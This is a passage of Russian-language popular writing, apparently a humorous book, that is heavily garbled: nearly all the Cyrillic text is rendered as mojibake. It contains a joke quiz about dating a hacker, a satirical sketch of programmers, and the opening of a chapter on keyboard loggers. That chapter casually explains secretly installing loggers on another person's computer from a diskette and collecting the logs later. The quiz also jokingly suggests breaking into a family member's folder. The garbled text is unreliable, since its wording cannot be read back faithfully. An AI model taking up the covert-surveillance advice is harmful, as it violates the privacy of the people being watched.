Oruiati cBoeMy HeIpyry HeJIMMUTUPOBAaHHBINM J0CTyn B Internet Ha
HECKOJIbKO MecslieB Brepea. Yem Ha OObIIMiA CPOK TeOSI XBaTUT, TeM Ha
OOJIBIIMI CPOK TBOW HEIPYr BHIMAAET U3 XXU3HU B BUPYTAJIbHOE MPOCTPaH-
ctBo. [Tob3ysich HEOXMAAHHO CBAJTMBILIMMCS HA HETO CYaCTheM, OH 3a0yIeT O
POIHBIX, IPY3bsX U paboTe. B KOHIIE KOHIIOB JIpY3bsl OT HETO OTBEPHYTCS, CE-
MbsI pa30exXuTCcsi, ¢ paboThl YBOJIAT... a KOTJa OIIaueHHBbIN TOOO 10CTYIT 3a-
KOHYUTCSI, OH 3a HECKOJILKO JIHE MCYAXHET OT ropsi. A pa3Be He 3TOTO Thl J10-
OuBaeIbes?

Munycwi: noporo
Ilntocel: Bce ocTalIbHbIE.

Mctute Ha 310pOBbe. Bripouem, MOMHMTE, YTO MECTh pa3pyllaeT
B MEPBYIO OYepPeb MCTSIIIIETO.

AaBa 4.
Kak cobAa3HUTb Xakepa

Co0s1a3HUTh XaKepa, KOHEUHO, MOXHO. Beab uTo ObI OH TaM HU TOBO-
PUII 0 COOCTBEHHOI HAAMUPHOM CYIIIHOCTH, (PU3UUECKU OH (DYHKIIMOHUPYET
MpUOIU3UTEIBLHO TAK XK€, KaK MOCAeAHUI YalHUK WK naxe jamep. Tojbko
caMOMYy Xakepy 00 3TOM He rOBOPU: MHAUY€ BO3MOXKHOCTb COOJIA3HUTD €r0 ThI
JIMYHO MOTepsielllb HaBCceraa.

OpnHako Ipex/e YeM COCTaBUTh IUIaH JeHCTBU, MOCBSILEHHbIN TOMY,
Kak Thl OyJellb COOJa3HATh OTACIBHO B3ATOrO XakKepa, HEOOXOJMMO XOpO-
IIEHBKO TTOIyMaTh: a HY>KHO Jiv 3T0 Tebe? U 3aueM Thl, COOCTBEHHO, 3a 3TO Oe-
pembest? Ecim mitst Toro, 9To0BI OBIJIO KOMY YCTPauBaTh B JOMe OECIIOPSIIOK,
TPYKABI B HEJE0 (hopMaTUpPOBaTh KOMITBIOTEPHBIN AUCK U OMYCTOIIATh XO-
JIONWJIBHUK — TO He TIpoliie Jiu 3aBecTu Kota? Ero cnocodHocTu B 3TUX 00J1a-
CTSIX TOXE BeCbMa BEJIMKU, 3aTO OH 3aHUMAET Topa3ao MEeHbIIIE MeCTa.

Ecnu ThI X0Uelb, 4TOOBI KTO-HUOYIb OOBSICHSI TeOe, IToueMy Ha TBO-
€M KOMIIbIOTEpE B ouepeaHOM pa3 He 3anyckaeTcs Windows'98 u kak mpoiiTu
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TpeTuil ypoBeHb B Hexon'e — To, OMsITh-TaKu, MPOIIE 3aBECTH PETIIETUTOPA T10
nH(pOPMATHKE U OCHOBaM KOMIThIOTEPHOM rpaMOTHOCTU. OH, KOHEYHO, OyIeT
MpOCBeNIaTh Te0st He GeCIIaTHO — 3aTO, KaK M JIIo00i HaeMHBI COTPYIHMK,
OyIeT IPUSITEH B OOIICHUH, a TJIaBHOE — MpPEeICKa3yeM.

Hy, a eciu nesno B BHICOKOM U CBETJIOM UYBCTBE — TYT MOXHO TeOe
TOJIBKO TMTOCOYYBCTBOBATh 1 MPEIJIOKUTL Ha4aTh OCYIIECTBIISITh CaMBIN KpaT-
K1t 1 3(p(PeKTUBHLIN IJ1aH cOOIa3HEHUS: YeM CKopee, TeM Jyrydiie. Kak roBo-
pUTCS, paHbIIIEe CSIACIIb — paHbIIe BEIMICIID, a BAPYT €llle B IIpoliecce Hamao-
€CT, 1 BCE HETIPUSATHOCTH PAaCCEIOTCSI CaMU COOOIA. ..

HwkensnoxkeHHBbIN TECT MO3BOJUT Tebe OKOHYATENbHO OMNMpENeuTh,
3a4eM COOJIa3HATh XaKepa M, COOTBETCTBEHHO, PEIIUTh, CMOXEIlb JIU Thl 3TO
caeaTh U HY>KHO JIM 3T0 Tebe Ha caMoM neiie. Hy, a eciii Ha o6a Bompoca Thl
MOJIYYHIITb TTOJIOXKUTETbHBIE OTBETHI — TECT MTOMOXET Tebe pa3paboTaTh ca-
MBbIii BEpHBIA U 0€30TKa3HBIM criocob codmazHeHus. Mtak:

1. 3aMAHUTb XOKepa B rOCTU NPOLLE BCEro:
a) IOIIPOCUB €ro TIOMOYb YCTAHOBUTH Ha TBOM Komibiorep Win-
dows'98;

0) TOITPOCHB €T0 IIOMOYb B3JIOMaTh CEPBEP TBOETO POTHOTO By3a U pa3-
MECTUTh BMECTO CIHCKOB COTPYIHUKOB Kadeap Habop MopHOrpadmuIecKmx
KapTUHOK;

B) IPUTJIACHUTD €TI0 ITOCMOTPETh, KaKylo IMUKApHYO IbIPY Thl OOHAPY-
JXUJTa B MOCJICAHEH BEPCUM CEHIMEIa.

2. Koraa oH nosiButcs y 169, NpeXAe BCero Tbl MOXeLUb 3aUHTepeco-
BOTb €ro:

a) SPOTUYHBIM IUIATHEM U 3aMHTEPECOBAHHBIMU B3IJIsSIAaAMU,

0) HaJMuuMeM B MAlMHOM KaOWHETEe 3aIapojieHHOTO KOMIIbIOTEepa
C KOJUIeKIIMEe MopHOrpachUIeCKUX BUIEOPOINKOB;

B) TOPSTYUM YXKITHOM.

3. B yeM AyuLue GbITb OAETOM NPY NePBOM CBUAQHUU?

a) BO3IYIIHOE TOJIYIIPO3pavyHoOe TUIaThe, YYIAKHU, TY(DJIu Ha BBICOKOM
Kabiayke u kaneiabka «[llanenu N19»;

0) IoKMHCHI, (yTO0JIKa, 60TMHKM «Grindersy, MUHUMYM KOCMETHKM;

B) 9TO HC TaK Ba>XHO — €CJIM 3apaHCC BKIIOYUTb MOHUTOP, OH HE 06pa—
TUT Ha MOI BHEIIHUI BUJ HAKAKOTO BHUMAaHUsS. A eClIM HE BKIIOYUTh — TO
NINCPBLIM JC€JIOM OH BKJIIOYUT MOHUTOP, a YK ITOTOM HE€ 6yII€T 06pa1naTI> Ha
MOIO OJ€KAY HUKAKOI'0O BHUMAaHUA.
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4. Ero AlobmMbIn LBeT:
a) OpaH>KEeBBIIA;

0) YepHBIIA;
B) TOT, Ha KOTOpbIi ayuteprus y buiia I'eittca.

5. OH NpoHUKHeTCS K Te6e yBaXKeHuemM, eCAM CKA3ATb €My, YTO Tbl 6AN3-
KO 3HAOKOMAQ C:

a) KesuHoM MUTHUKOM;
0) Bnanumupom JIeBUHBIM;

B) TeM Oe3yMHBIM paboTOgATEIeM, KOTOPBIN IeCTBUTEIHLHO COTIACHII-
¢Sl B3SITh Ha pabOTy HEPBHOT'O I0HOIIY 1o MMeHn Webster, B3JIOMaBIlIeToO cailT
WWWw.vesti.ru.

6. Koraa oH pacckasbiBaeT Te6e 0 B3SAOMOHHbIX UM CAUTAX, Tbl BEpPULLb
emy:
a) B 100% cayuaes;

0) B 50% ciyuacs,
B) 3aueM BepuTh? [J1aBHOE — BHUMATEIbHO CJAYIIATh...
7. HUKOrAQ HeAb3st CNpALUUBATL €ro:
a) KaKoli MapoJjib OH MCITOJIb3YET IS 3allMThl CBOETO KOMIThIOTEPA;
0) JIIOOUT J1U OH TeOs;
B) KOTJIa OH B MOCJIEAHUI pa3 CTUPAJ CBOIO (hyTOOJIKY.

8. BoAbLUe BCero eMy HPABUTCS MAES 3OHATbCS CEKCOM:

a) Ha POCKOIITHOM YeThIpeXCIalbHON KPOBAaTH C ILIEIKOBBIM OelibeM,
MpY CBeyax, B MPEe3UAEHTCKOM HOMepe oTelisl «XWITOH», CHAaOKEHHOM BaH-
HOM-IXKaKy3U 1 MUHU-0apoM ¢ maMiaHckuM «JloM [1epruHbOH»;

0) B maylaTKe Ha MOJIYTH K BepIIMHe DBepecTa, MPY CUIIe BETpa He Me-
Hee YeThIpex 0aJIjIoB;

B) Ha IRC B kogupoBke koiS.
Hrak, nonsenem UTOIHU.

Ecnu B 60JBbIIMHCTBE Cily4aeB Thl BbIOpajia OTBET ) — TO COOJIA3HUTD
xakepa Tebe, VBB, MoKa He cBeTuT. HeoOxommMma TiiaTeabHasi TPEHUPOBKA.
JIst Hayana mompoOyii Imovaille rmocemars cailT www.hackzone.ru 1 monpo0yit
JUIS TPEHUPOBKY B3JIOMATh TY AUPEKTOPUIO HA JOMAIITHEM KOMITBIOTEpE, Te
Tarna JAepXXUT MopHOTrpahUIecKre KAPTUHKMU.
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Eciu Ha GOJIBIIIMHCTBO BOITPOCOB THI Jajla OTBET 0) — BO3MOXHO, ThI
CMOXeIllb CTaTh JJISI CBOETO XaKepa MIaeabHOM mompyroii. Tel Oyments yme-
PEHHO BOCXMIIATHCS €ro JOCTYKEHUSIMM, a OH — BpeMsT OT BpeMeHU 06ora-
1aTh TeOsT HOBBIMUM 3HAHMSIMU B 00J1aCTU KOMITBIOTEPHBIX TeXHOJIOTHiA. [TpaB-
Ila, He YOWBJISIACS, €CJIM TTOJyYeHHBIC 3HaHMS He BO BCeM OYIyT COBIaaaTh
C YCIBIIIAHHBIM Ha MHCTUTYTCKUX JICKITHSIX.

Hy, a ecu 607BIIMHCTBO OTBETOB — B), TO XaKepa Thl, KOHEYHO, CO-
O1a3HUIIb. A HYXHO i1 Tebe 3T0? Thl BMOJIHE B COCTOSIHUM TTOACTYIUTHCS
K KOMY-HUOYIb M3 PYKOBOAWUTEJEH POCCUIMCKUX OTAeiaeHuil Microsoft wim
IBM. Hy, a eciiut Te6s1 3TO HE BIOXHOBJISIET — MOXET, BCe-TaKM JIy4llle 3aBecC-
TH KoTa?..

naBa 5.
MporpaMMUCTDI

[Mpuxoauyock v BaM Koraa-HUOYIb BCTPEYaThCs ¢ MPOrpaMMUCTOM?

He comHeBatoch, 4T0 IPUXOAMIOCH. DTa Pa3HOBUIHOCTH XOMO Call-
€HC B TIOCJIeIHEe BpeMsl IIIMPOKO PacpoCTpaHUIach Ha TEPPUTOPUHN Hallleit
CTpaHBbI U 32 ee npenenaMu. Cpesoii CBoero OOMTaHUST OHU BHIOMPAIOT KaK T'o-
CyAapCTBEHHBIE, TaK ¥ YACTHBIE YUPEXKICHUS, Kyaa He3aMETHO BHEAPSIIOTCS 1
YCUJICHHO TTapa3suTUPYIOT HEKOTOPOEe BpeMs, ITOCIe YeTo WHOTIA Tepeceisi-
I0TCs Ha HOBOe MecTo. [10 aKcTephepy MPOTPaMMUCTHI IEISTCS Ha B KaTe-
TOPUU — 3apOCIINX, OJETHIX B CBUTEPA XUIIU C OTPEIICHHBIM B3TJISIAOM U
AaKKypaTHBIX KOPOTKO CTPUXXEHHBIX (DpaepoB B TPOIKe C TaKOM XXe MaHua-
KaJIbHOCTBIO 332 CTEKJIAMUA OYKOB.

Ilo nmpupone cBoeil mporpaMMepbl — HOYHbBIE XMBOTHbIE, MOKUAA-
IOIIIME CBOE JIOTOBO TOJIBKO IOCIE MOJYAHS B TOMCKax uBa. B HOUHO TUIIN -
HE U3 MEPLAIOIIETO OKOIIKA MporpaMMepa JOHOCSTCS BCXJIUMbI, UCTOIIHbIE
KPUKHU U KOPOTKHE aBTOMAaTHBIE Ouepeiu. DTU 0COOU yIOBJIETBOPSIIOTCS He3a-
TeiMBOI Urpoi monm Ha3zBaHueM «Jlym». [IpaBma HEKOTOpPBIE YIOBIETBOPSI-
torcs B «Pot» ¢ «EpeTukom» U T.11., HO TaKUX U3BPAIlEHLIEB CUMTAHHbBIC M-
Hu1bl. OOIIAIOTCSI OHM OOBIYHO 3a OYTHUIKOI IMBa WJIM 3a YaIlKOW Kode ¢
NIByMsI JIOXKKaMHU COJIM, MOCKOJbKY CaxapHMIla OKa3ajach Ha JBE MO3ULIUU
JaJipllie, YeM COJOHKa. VX oOlueHue mpoTekKaeT Ha O0COOOM, HEAOCTYITHOM
MPOCTOMY CMEPTHOMY $i3bIKe. HemnmocBslleHHbI pucyeT nukue odpasbl Mpu
MOTBITKE BHUKHYTh B T€ OOPBIBKU Pa3roBopa, KOTOPhIE €llle NepeBOAMMbI Ha
HOPMaJIbHBIN S3bIK:

— Chymraif, a Tl He XOYeIlb IMOBECUTh pe3uaeHTa? — MOOPOMYITHO
CIIpaIBaeT OIUH.
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— Jla 51 yxe nosecuj! — paloCTHO COOOLIAET APYroit, — 3To pyJec!

— Ay MeHs Tpabsibl. KoM st cBOIO TIpory, a TaM BbLIe3J1a XKyTKast
0ara v MpUIILIOCh BCE BKOLIATh, — XKaJyeTCs TPETUI.

— la Tl 1aMep! — XOpOM OOBSICHSIIOT €My MepBbIe ABOE, B INIyOMHE Y-
1Y CUMUTAIONINE CeOsI KPYTHIMU XaKepaMH.

Tpetunii 1OOGPOAYIIHO KMBAaET — HY YEro €lle ¢ 3TUX JaMepOB BO3b-
Mellb?

ITonpobyeM OOBSICHUTD MPUHIUITHAIBHYIO Pa3HUILy MEXIY JJaMepOM
1 XxakepoM. JlaMmep — 3TO MporpaMMHUCT, KOTOPBIii MHOTO JeJIaeT, HO MaJio JIy-
MaeT, a Xakep — 3TO0 Jlamep, KOTOPHIi IyMaeT, YTO OH IyMaeT, U HUJero He Jie-
naeT. [ToaToMy y Xxakepa, Kak MpaBUIIO, CIydaeTcsl Topas3ao MEHbIIIE ONO0K.

IToMuMoO Bcero mpoyero, MPOrpaMMMCTBI 00JIaAAIOT YHUKaJIbHBIMU
crnocobHocTsIMU. M3peiKka OHU MOTYT «4UTaTh pyKaMU», «3a0MpaTh ITOYTY HO-
ramu» JIM0O /151 pa3HOOOPA3Hs «TpaxaThCsl MOJIHS C 9TUM BOHIOUMM MPUHTE-
poM» (M 3TO 6e3 BCSIKUX CTUMYJISITOPOB, HE TOBOPSI YK€ O MPOYMX HEymno0-
CcTBax). A Mopoi U y HUX ObIBalOT Mpo0OeMbl. BOT Ha AHSIX Y OMHOIO TaKOTO
«He cTai (ak, MOIpaBJSIOLINUI 0aru», U OH IOJIT0 XaJoBajcs I0 TesieOoHy
CBOEMY JieyallleMy KoJulere.

[To npupone cBoeli MporpaMMUCT — KMBOTHOE HE CTalHOE, HO MHOT/Ia
OHU OOBEAMHSIOTCS B TPYIIKU 1 KOJUIEKTHUBBI, KYUKYIOTCSI BO3JIE OOIIIETTUTOB-
CKHX TOYEK WM napytorcsi. HekoTopble naxe mapyoTcst ¢ 0CoOsIMU TTPOTUBO-
MOJIOXKHOTO I10J1a, 3a4acTyl0 HE MMEIOIIMMY OTHOILIEHUsI K IpOrpaMMHUpOBa-
Huto. Eciam momoGHoe oOIIeHue 3aTITUBAacTCSI, CYIISCTBYET OITACHOCTH
BO3HMKHOBEHUsI HOBOIA sSTYeiKM O0I1IECTBa, T.€. ceMbU. Bbl HUKOTIa He Tpo6o-
BaJIK OBITH XeHO# rporpammucta? Y He nmpoOyiite — 3aHsATHE 3TO HebJaro-
JlapHOe W BpemHoe UIsl 310poBbs. [IpencraBpTe cebe MyXa, C OTpElIEHHBIM
JINIIOM CJIOHSIIOILIETOCS M3 yTJ1a B yToJI, 00pMOYYIIEro HETTOHSITHBIC CJIOBA U HE
3aMeyYalollero Bac Ha pacCTOSIHUM IISITH 1IarOB — BCE 3TO BPSIIL JIK OY/AET CIo-
CcOOCTBOBATh YJIYYIIEHUIO Balllero HacTpoeHus. [1o BBIXOAHBIM OH CHIMT 3a
TeJepoHOM M pa3roBapuBacT ¢ cebe MOoJOOHBIMU, a B OyAHUE THU, YXOIS U3
JloMa Ha paboTy, HaIlycKaeT BaXkHOCTb U TOJIOCOM, TIOJIHBIM Tedaid, CoooIa-
eT: «Jloporasi, 1 HEeMHOTO 3a7epPXyCh CETOAHS. Y MEHSI HaKOIMJIOCh CTOJIbKO
nen! Heo6xonnumMo CpoyHO OUMCTUTD Y€TBEPTHIN YPOBEHb...» W mobsiias xe-
Ha BBIHY>X/IEHA 3aKpbIBAaTh HA BCE IJ1a3a U BEPUTb, YTO MOHCTPHI C YETBEPTOTO
YPOBHS JIEMCTBUTEILHO Cepbe3Hasl IpobjieMa, a ouepenHasi KOMITbIOTepHast
BBICTAaBKa ACHCTBUTENBHO MPOBOAUTCS B «Bexke».

C paboTel IPOrpaMMUCT BO3BpAIllaeTCsI PaHO, TOJBKO €CIM BO BCEM
paiioHe OTKJIIOUMJIM CBET, a To30pHoe NpudHaHue: «[locae ceMu s 0OOBIYHO
JIoMa» caMo co0O0i1 MmoapasyMeBaeT HaJIMUKe B Balllell KBApTHPE KOMITbIOTEpa.
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B To ke BpeMsi 3acTaTh HACTOSIIIIETO TPOrPAMMUCTA Ha ero paboyeM MecTe He-
BO3MOXHO. B mouckax BIOXHOBEHHUSI OHU Pa3dpenaioTcs Mo Kaderepusm u
nuBOapaM, a 3aTeM, MOJIb3YSICh YIAUHBIM CJIy4aeM, MPOKPaIbIBAIOTCS APYT K
JIpyTy Ha paboTy U JesaloT TaM MaJleHbKHeE MaKOCTH, MOC/Ie Yero pacTBOPSIIOT-
cs. B KoHIle paboyero AHSI OHM BO3BPALIAIOTCS, BKJIIOYAIOT KOMITBIOTEP U
MPUHUMAIOTCSI 32 CBOU MNpsIMble 0013aHHOCTHU, T.€. AyMaloT. «JlyMaloT» OHU
VIIOPHO, YPOBEHb 32 YPOBHEM, 10 T€X MOP, MTOKA X COOCTBEHHOE OTPaXXEHUE
He CTaHeT MOXOoXe Ha U300pakeHue BHU3Y dKpaHa MpU MpenesbHOM 3amace
sHepruu. Toraa OHU HaMpPaBJsIIOT CBOM CTOMbI TOMOI M BO3HUKAIOT Ha MOPO-
r'e COBEPIIEHHO NU3MOXIEHHbIE, C KPACHBIMM TJ1a3aMU U IByMsI HEU3MEHHBIMU
JKEJTaHUSIMU — €CTb U cnaTh. Y 6ecrnosie3HO MbITaThCsl HAaBSI3aTh UM TPEThE,
MeJibKas Tepejl UX MOTyXalolMM B30POM B CEKCyaJlbHOM HMXHEM Oejibe, B
JIyqIlieM clyyae OHM MOMHTEPECyloTCsI, HE OUEHb JIM BaM XOJIOAHO, MPEXJe
4YeM OKOHYATEeJbHO YCHYT B Tapeyike ¢ OOpuIoM. 3aTO Cpeay HOUM Balll MYX
HEMPEMEHHO DPa30yIUT Bac TPOMKHMMM CTOHAMU UM HaBSI3UMBOW IMPOCHOOit
MPOTHATh CO CToJia JieTaloulylo Tapeiky. He myraiitech, eciiv 3acTaHeTe ero
MOJI3aAI0IIMM PAaKOM BO3JIe KPOBATH M YMOJISIIOIIMM Bac MOCKOpee 3aCyHYTh
eMy aucKeTy. BctaBbTe eMy B pyKM YTO-HUOYIb KBaApaTHOE, U OH TYT XK€ yC-
nokoutcs. M He obuxaiiTech, ecii oH noTpedyeT HaxaTh Ha ESC, a 3aTem 3a-
XoueT Bac cchopMaTUpOBaTh — €My 3TO BCE PaBHO HE yaacTcs. A Ha clieay-
Olllee YyTPO OH MPOCHETCS, KaK HU B YeM He ObIBalO, TOMHTEPECYeTCs, Kak
BaM CIajJoCh, U CHOBA OTIIPaBUTCS Ha paboTy.

Pa3 yx MbI ¢ BAMU KOCHYJIUCh TeMBI pabOTHI, TO HE MEIIaeT CKa3aTh Ma-
py cJIoB 00 opynuu Tpyma nporpammucta. [lomapisioniee OOTBITMHCTBO UC-
MOJIB3YEeT ISl 3TOM LeM KOMITbIOTepbl. KoMMbIOTEp ¢ yCIlexoM 3aMeHSIeT
MPOTPAMMUCTY Y aKTUBHBIN OTIBIX, U CEMBIO, U JTIOOMMYIO XXESHIIIMHY; B 3HAK
6J1aTOMAPHOCTH TIpOTpaMMep OOBITHO HAMIEJISIET CBOETO OE3HOTOTO JPyTa Jiac-
KOBBIMM TTPO3BUIIIAMU, TAKUMH, K TIPUMEPY, KaK «ITUCIOXa». 32 MOHUTOPOM
PC oH criocobeH npocrxuBaTh 4yacaMu, YCTaBSICh Ha HEro, Kak KpoJuK Ha
yIaBa, ¥ BpeMsi OT BPEMEHU CYIOPOXKHO JaBUTh KJIABUIITY MBIIITH. MBIIITb C He-
JTABHETO BPEMEHM CTaJia JIIOOMMBIM PYYHBIM KUBOTHBIM IpOrpamMMepa; K Hei
OHU TIPOSIBIISTIOT TIOUCTUHE TPOTATEIbHYIO 3a00TY, TTOKYTIast IUTSI Hee BCEBO3-
MOXXHBIE KOBPUKHU U TaXKe JOMUKH.

HHoraa B pe3ybTate Tpyna IporpaMMUCTA MOJTYYUTCS TPOIYKT, UME-
HyeMblii iporpaMMoii. [TporpaMma, KoTopasi He TJIIOYUT, CYUTAETCS TTPUMU-
THUBHOM, 1 MPOTPAMMUCT ObETCSI Hall HEell B TOTe JIMIIA, HOTUCHIBast U YCIOX-
HSISI IO TeX MOp, TT0Ka OHa He CTaHET «BeIIaThCsI» MPU 3arpy3Ke, Mmociie Yyero, ¢
YYBCTBOM BBIMIOJTHEHHOTO J0JITa, OH CIEUIUT K APYTY OOMBIBaTh BOZHUKIIIYIO
Tpabay. CpoKu HamycaHMS IIPOrpaMMBbl CYIIECTBYIOT JIMIID [JIS TOrO, YTOObI
3aMOPOYMTD TOJIOBY 3aKa34MKy U He 3a0bITh, KOTAa ouepenHoi aBaHc. I1po-
rpaMMa IMUILIETCS CTOJIBKO, CKOJIBKO €€ XOTAT MUCcaTh, MOCIe Yero OHa He TH-
eTcst BOBce. A ISl 3aKa3urKa BpeMsi OT BpEMEHM YCTParuBalOTCSl SKCKITIO3UB-
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HBIC CeaHChl TUITHO3a, ¥ YapyoLIUi TOJIOC MPOrpaMMUCTa YOeKIaeT, YTO TOT
ITOJTIYYMT CaMyl0 KPYTYIO IPOrpaMMy 3a caMmble CMEIITHbIe AeHbIH. [1pu aToM
HEITOHSITHBIE CJIOBA W TEPMUHBI TIPOM3HOCSITCS C TAKOM YOEXKICHHOCTBIO, UYTO
XOYEeTCsl BEpUTh, He BHHUKas B moapooHocTy. [1o Mepe pocTa y mporpaMMuc-
TOB HEPEIKO BO3HUKAET OCTpast (GMHAHCOBAsT HEMOCTaTOYHOCTh, M OHU HAYM-
HAIOT TSSHYThCS Ha 3amall, CHUIMasiCh C HACVKEHHBIX MECT M TPOMKO KypJIbIYA. ..

B 3aBepiueHue KpaTKoro 063o0pa XOTUM Clie1aTh HEOOJIbIION aKIIEHT Ha
abCOJIIOTHOM TOCTOBEPHOCTY M3JIOXKEHHOU 3nech nHMopMaimu. Haneemcs,
YTO 3TU 3aMETKU OYIyT MPUHSTHI BO BHUMAaHUE TIPU MOMBITKAX CEPHE3HO 3a-
KOHHEKTUTLCS C TIPEACTaBUTEISIMU JAaHHOTO BUA.

fAaBa 6.
KAaBUATYpPHbBbIE LUMUOHDI

C noMmolibI0 MaJIeHbKHX MPOrpaMM —KJIaBUATYPHBIX IIMHUOHOB (key-
board loggers) Bbl MOXeTe y3HATh, YTO JIEIaIM Ha BallleM KOMITbIOTEPE, MOKa
Bac He ObUTO B odyce WIK JoMa (ITOCIeIHee IS TapaHOMKOB U SKMJIBLIOB KOM-
MYHaJIbHBIX KBapTHUp). ECiiM e BbI cyMeeTe MOMIOXKUTh MX Ha Iy>KOW KOM-
MBIOTEP, TO MOJYYUTEe BO3MOXKHOCTh Y3HaBaTh IMPAaKTHMUYSCKU 000 BCeX Iei-
CTBUSIX X03sIMHA KOMIThIOTEDPA.

MeTton paboThl TaKUX MPOTrPaMM OYeHb HAIIOMUHAET CIIOCO0, O KOTO-
POM He pa3 paccKa3bIBaJid B KAKOW-TO JETCKOM Mepenade Mpo YaCTHBIX IeTeK-
THBOB, BbI HABEPHSKa €ro MIOMHUTE: MO/ CKaTepTh Ha CTOJIe BbI KJIAfeTe JINCT
00OBIYHOI GyMaru, a Ha Hero JIMCT KOMUPKU. Tereps Bce, 4To OyIeT HalMcaHo
32 9TUM CTOJIOM, Yepe3 KOMUPKY OTIIEYaThIBACTCS Ha JIMCTe Oymaru. 31ech
[JJaBHOE — HE3aMETHO TMOIJIOKUTh KOMUPKY MOJ CKaTepTh, a MOTOM TaK Xe
HE3aMeTHO BBITAIIIUTh Pe3yJbTaT. B HamieM ciydae crenatb 3TO OOBIYHO He
COCTaBIIIeT TPy/a, MOTOMY UTO TIPOTPAMMBI 3TH OYE€Hb MajieHbKUeE (OOBIMHO
He Gosbie 100 KutobaiiT BMecTe ¢ onvcaHueM M help'oM, HO BCTpevatoTcst
HCKJTIOUEHMST, ToTaruBaronime moutu 10 500) 1 CKOMMPOBaTh UX C TUCKETHI Ha
«BUHT» «KJIMEHTa», a TAKXKe MepUOINYecK (MOXKHO pa3 B HECKOJIbKO THEI,
HO 4YeM JIOJTbIIIE, TEM TPYIHEe TIOTOM Pa300paThCsi) «CHUMATh» Pe3yabTaThl —
MUHYTHOE JIeJI0, TOCTATOYHO JIUIITh Ha HEKOTOPOE BPEMST OCTaThCs HaelHE
C KOMITBIOTEPOM.

C nporpaMMaMu TIOJOOHOTO pojia 51 TO3HAKOMMJICS BIIEPBBIC JIET, Ha-
BepHoOe, MATh Hazaa. Korma s mojaydyus B CBO€ pacropstKeHWe HaCTOSIIMI
IBM-COBMECTUMBII KOMITBIOTEP — JECK-TOII C 286 MPOIECCOPOM, LIBETHBIM
MOHMTOPOM U BUHYECTePOM Ha 1eabix 40 Merabaiit, — pagocTd MOeil He ObI-
J10 nipenena, OH ObUT ropa3ao OOJIbIIIE MOXOX HAa HACTOSIINI COBPEMEHHBIN
KOMIIBIOTEP, YeM Bce TO 0apaxiio, 4To ObLIO Y MeHs 10 Hero. Komibiotep, pa-
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3yMeeTcsl, ObIT TaJIeKO He HOBBIM, KYIJICH, YTO Ha3bIBaeTcs, ¢ pyK. Takum 00-
pa3oM, s yHACJIeIOBaJ Ky4y TOJIC3HOTO U He 0OYeHb CO(Ta, TOTOM HEe3aMEeTHO,
caMu co0O0ii, TTPOSIBIIIACH ITPUATEIIN, TOKE MMEIOIIE KOMITBIOTEPHI, ¥ HavYaI-
s TIpoliece «oOMeHa MH(popMaIuein».

C neTcTBa WCIBITBIBAs TATY MOTPOTaTh, MOHIOXaTh, MOMPOOOBATH Ha
BKYC, B 00IlIeM, UCTTBITATh Ha cebe BCe MHTEPECHBIEC BEIU, KOTOPHIE TTOTaIyT-
¢ MO, PYKY, ST METOAWYHO M3yJall TporpaMMy 3a IIporpaMMoii: Bce ot Dbase
11 Plus mo KoueKumy MCXOMHBIX TEKCTOB BUpycoB Ha [lackane, ot SuperCalc
3 no Windows 3.1 (na, Ha ToOli caMOli, Ha «JIBOiKe», ToxXe padoTaeT). M BoT of1-
HaXIbI, POSICh B 3TOM Oapaxiie, sl HallleJl CTpaHHBIM aiil ¢ UMeHEM, eCIu He
omubaioch, spylog.log, KOTOpBIl 0OKazaics Ha MOBEPKY TEKCTOBBIM U COAEP-
JKaJl JOBOJIBHO CTPaHHYIO0 MHGMOPMAIIHIO.

B TOT MOMEHT y MeHsl, ellle He MOHMMAIOIIETO, YTO Xe 3TO BCe 3HAYUT,
BO3HUKJIO CTPAaHHOE OIIyILIEHKE, TTOX0Xee Ha MaHUIO TIpeciieoBaHUsl (UTO-TO
BpoJie: «3a MHOM MOCTOSTHHO KTO-TO CJEANT U JAaxke HAOJIOAAeT, UTo S 1earo
B...»). JIeJ0 B TOM, UTO B 3TOM OIPOMHOM (Ha TOT MOMEHT 4TO-TO 0KoJio 400
KWJIO0AMT) OTBpaTUTEIbHOM Spylog.log ObLIO 3amucaHo éce, 4TO 51 HabuUpai ¢
KJIaBUATyphl 3a MOCJIeAHUE HECKOJbKO MecsieB. Ho aTo eiie He Bce: 3aech
ObLTM OTMEYeHbI Bce (haiiibl, KOTOPHBIE 51 CO3MaBal, YAAISUI, OTKPHIBAI U T.II. C
yKazaHueM BpeMeHU u aaThl. KcTaTtu, naThl B Hauase (aiiia roBOPUIN O TOM,
YTO BCE 3TO HAYAJIOCh y TIEPBOTO X035IMHA KOMITbIOTepa MPYMEPHO 3a Mapy He-
JIeJTb 10 TOTO, KaK MbI KYITUJIU €TO.

Moux MOBEpPXHOCTHBIX, HA TOT MOMEHT, 3HaHUI 0 KoMmIibloTepax IBM
PC xBaTano, 4ToObl MOHSITh — BeJeHUE TaKUX (ailyioB (s1 Obl cKazai, MpoTo-
KOJIOB JIONIPOCa) HEe BXOJUT B UX CTaHAApTHbIE 00s13aHHOCTU. [TosiBUBILIMECS
MapaHOUAAJIbHbIE MBICJIU O TOM, YTO OH, MOi1 3JIEKTPOHHBII IPYT, BHUMATEJb-
HO CJIENIUT 32 CBOUM XO3SIMHOM W MOJIYUT (WJIM MOKa MOJIYUT), ObUIU MOCTe-
MEHHO OTBEPTHYTHI, U 51 3aHSJICSI BbIICHEHWEM MPUYUH CTOJIb CTPAHHOTO TO-
BEJICHUSI MalllHbI.

ITepBBIM eIOM S TIPOCMOTpEN autoexec.bat u config.sys Ha mpeamer
TIPUCYTCTBUS «IUITHUX» CTPOUEK, HO, KaK Ha3J10, HUIETO MMOCTOPOHHETO TaM
He ObUIO: ApaiiBep MBIIH, pycudurarop, Norton Commander 1 T.I1. — B 00-
IIeM, BCce KaK OOBIYHO. 3aTeM HEHABUCTHBIN (paiiyl OBLI yOajeH, U 51 C OTBpa-
IIeHUeM TMOHabJIo1all, KaK OH BHOBbB ITOSIBWJICS B TOM Xe MecTe. Kak oka3za-
JIOCh, OH OBUT CO3/IaH 3aHOBO M HayaJl BHOBb 3aIIOMMHATh BCE MOU JCHCTBUSI.
Crienyoimm, 4To TIPUIILIO MHE B TOJIOBY, OBUIO TIO3BaTh KAKOTO-HUOYIb KpPY-
TOTO CTIela, YTOOBI OH HaBCeTa OTYYMJI MOETO 3JICKTPOHHOTO JIpyTa MOATIIS-
IbiBaTh. MTak, ObUT TIpUTJIAIeH 3HAKOMBIN JA1bKa, OOCTY>XWBAIOIIMI He-
CKOJIBKO KOMITBIOTEPOB B MECTHOU opraHu3anuu. [Tocie HeCKOMbKUX Jallek
